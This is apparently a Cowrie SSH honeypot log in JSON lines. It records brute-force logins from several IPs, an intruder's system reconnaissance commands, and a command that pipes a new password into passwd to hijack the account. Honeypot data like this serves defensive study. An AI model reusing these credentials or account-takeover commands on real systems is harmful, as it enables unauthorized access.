e-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:18.556525Z","src_ip":"43.157.90.107","session":"39f78c907188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:18.941144Z","src_ip":"43.157.90.107","session":"39f78c907188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:20.031660Z","src_ip":"43.157.90.107","session":"39f78c907188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":52338,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3c441eb4b05","protocol":"ssh","message":"New connection: 43.157.90.107:52338 (10.17.0.5:22) [session: d3c441eb4b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:20.117238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:20.121766Z","src_ip":"43.157.90.107","session":"d3c441eb4b05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:20.211321Z","src_ip":"43.157.90.107","session":"d3c441eb4b05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:20.597724Z","src_ip":"43.157.90.107","session":"d3c441eb4b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:21.690154Z","src_ip":"43.157.90.107","session":"d3c441eb4b05","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:21.828112Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:21.831710Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:21.923210Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:22.138003Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin3\\nL9FdOGoEuGW2\\nL9FdOGoEuGW2\"|passwd|bash","message":"CMD: echo -e \"admin3\\nL9FdOGoEuGW2\\nL9FdOGoEuGW2\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:22.141592Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:22.145388Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:22.149019Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5ce2ed367acb7a9bc827f022e857f33905f29980c4fbb4259f8c8d5b315c8e78","size":32,"shasum":"5ce2ed367acb7a9bc827f022e857f33905f29980c4fbb4259f8c8d5b315c8e78","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5ce2ed367acb7a9bc827f022e857f33905f29980c4fbb4259f8c8d5b315c8e78 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:22.240952Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:22.453183Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin3\\nL9FdOGoEuGW2\\nL9FdOGoEuGW2\\n\"|passwd","message":"CMD: echo \"admin3\\nL9FdOGoEuGW2\\nL9FdOGoEuGW2\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:22.457231Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d7df5ceae82509b2ac7914c2b48dd3268229b27944aaeacc23f1611c18c5a16","size":25,"shasum":"1d7df5ceae82509b2ac7914c2b48dd3268229b27944aaeacc23f1611c18c5a16","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/1d7df5ceae82509b2ac7914c2b48dd3268229b27944aaeacc23f1611c18c5a16 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:22.550106Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:22.802952Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:22.806197Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:22.896380Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:23.116872Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:23.120384Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:23.212621Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:23.426115Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:23.429623Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:23.432774Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:23.523906Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.151.198","src_port":45956,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a38159d9c7b","protocol":"ssh","message":"New connection: 186.96.151.198:45956 (159.203.135.109:22) [session: 6a38159d9c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:23.666944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:23.672872Z","src_ip":"186.96.151.198","session":"6a38159d9c7b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:23.763906Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:23.766845Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:23.777770Z","src_ip":"186.96.151.198","session":"6a38159d9c7b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:23.859645Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.079801Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.083507Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"rootroot","message":"login attempt [ubuntu/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.091375Z","src_ip":"186.96.151.198","session":"6a38159d9c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":57882,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cda4929b84b","protocol":"ssh","message":"New connection: 80.94.92.182:57882 (159.203.135.109:22) [session: 3cda4929b84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.166373Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.179515Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.267786Z","src_ip":"80.94.92.182","session":"3cda4929b84b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.402998Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.406836Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.413084Z","src_ip":"80.94.92.182","session":"3cda4929b84b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.497571Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.731878Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.735402Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.827600Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":33406,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce04838392c4","protocol":"ssh","message":"New connection: 13.67.236.135:33406 (159.203.135.109:22) [session: ce04838392c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.935270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.939691Z","src_ip":"13.67.236.135","session":"ce04838392c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:24.978947Z","src_ip":"13.67.236.135","session":"ce04838392c4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:25.043792Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:25.047014Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
